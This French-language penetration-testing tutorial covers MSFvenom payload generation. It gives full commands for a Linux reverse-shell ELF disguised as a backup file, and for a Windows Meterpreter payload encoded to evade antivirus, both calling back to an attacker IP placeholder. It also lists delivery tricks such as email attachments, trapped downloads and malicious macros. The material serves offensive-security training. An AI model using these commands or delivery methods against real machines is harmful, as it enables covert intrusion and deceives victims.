Crafting Payloads with MSFvenom
MSFvenom est un outil puissant du framework Metasploit permettant de générer des payloads adaptés à divers systèmes et situations. Dans cette page, nous allons explorer comment créer et personnaliser ces payloads pour les utiliser dans des scénarios réels, notamment lorsque nous n'avons pas un accès réseau direct à la cible.
🔎 Introduction : Pourquoi utiliser MSFvenom ?
Certaines situations n'autorisent pas l'utilisation directe d'exploits via Metasploit, faute d'accès réseau ou de contexte favorable. Dans ces cas-là, MSFvenom permet de créer un payload que l'on pourra transmettre autrement :
Par email (pièce jointe)
Via un lien de téléchargement
Par clé USB lors d'un test physique
Via des techniques d'ingénierie sociale
MSFvenom offre aussi la possibilité de chiffrer ou encoder les payloads pour contourner les antivirus.
🔢 Lister les payloads disponibles
La commande suivante permet d'afficher l'ensemble des payloads supportés :
msfvenom -l payloads
Extrait de la sortie :
linux/x86/shell/reverse_tcp # Shell inversé (staged)
linux/zarch/meterpreter_reverse_tcp # Meterpreter inversé (stageless)
windows/dllinject/reverse_tcp # DLL injectée, shell inversé (staged)
windows/meterpreter_reverse_tcp # Meterpreter stageless
Observation : Les noms suivent une structure hiérarchique, précisant l'OS, l'architecture, le type de shell, et le mode de communication.
🧳 Payloads Staged vs. Stageless
✅ Staged Payload
Un payload staged est envoyé en plusieurs étapes :
Un petit code (le stager) est exécuté sur la cible.
Il contacte l'attaquant pour récupérer le reste du shellcode.
Avantages :
Taille initiale réduite.
Compatible avec de nombreux exploits.
Inconvénients :
Moins stable en réseau lent.
Plus de trafic réseau (plus facile à détecter).
Exemple : linux/x86/shell/reverse_tcp
🤔 Stageless Payload
Un payload stageless contient directement l'intégralité du code malveillant. Il n'y a pas d'étape intermédiaire.
Avantages :
Moins de trafic réseau à l'exécution.
Plus stable en environnement réseau limité.
Souvent plus discret.
Inconvénients :
Taille plus importante.
Exemple : linux/zarch/meterpreter_reverse_tcp
Astuce : Dans la nomenclature, les slashes /
indiquent souvent des étapes d'un payload staged. Les payloads stageless ont souvent un nom unique compact.
⚒️ Créer un payload stageless
Exemple : Reverse shell ELF pour Linux 64 bits
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.xx.xx.xx LPORT=443 -f elf > createbackup.elf
🔧 Décomposition de la commande
-p
Spécifie le payload à générer
linux/x64/shell_reverse_tcp
Payload stageless pour shell inversé sur Linux x64
LHOST
Adresse IP de l'attaquant (ex: <IP ATTAQUANT>
)
LPORT
Port à écouter pour la connexion inversée
-f elf
Format du fichier de sortie (ici ELF pour Linux)
> createbackup.elf
Nom du fichier généré (peut être déguisé)
🚫 Contournement des protections
Pour éviter la détection par les antivirus, MSFvenom permet aussi :
d'encodage :
-e x86/shikata_ga_nai
(encode le shellcode)d'obfuscation :
-i <n>
(nombre d'itérations d'encodage)
Exemple :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP ATTAQUANT> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > payload.exe
🌐 Livraison du payload
Une fois généré, le challenge principal est de faire exécuter le payload par la cible. Quelques exemples de méthodes :
Envoi par email en tant que pièce jointe.
Lien de téléchargement sur un site compromis ou piège.
Sur clé USB dans le cadre d'un test physique.
Exécution via script autorun ou macro malveillante.
🔗 Conclusion
MSFvenom est un outil incontournable pour les tests d'intrusion avancés, notamment lorsqu'une approche plus "silencieuse" ou déportée est requise. Comprendre la différence entre payloads staged et stageless, et savoir les manipuler efficacement, permet de mieux s'adapter aux contraintes réelles du terrain.
Mis à jour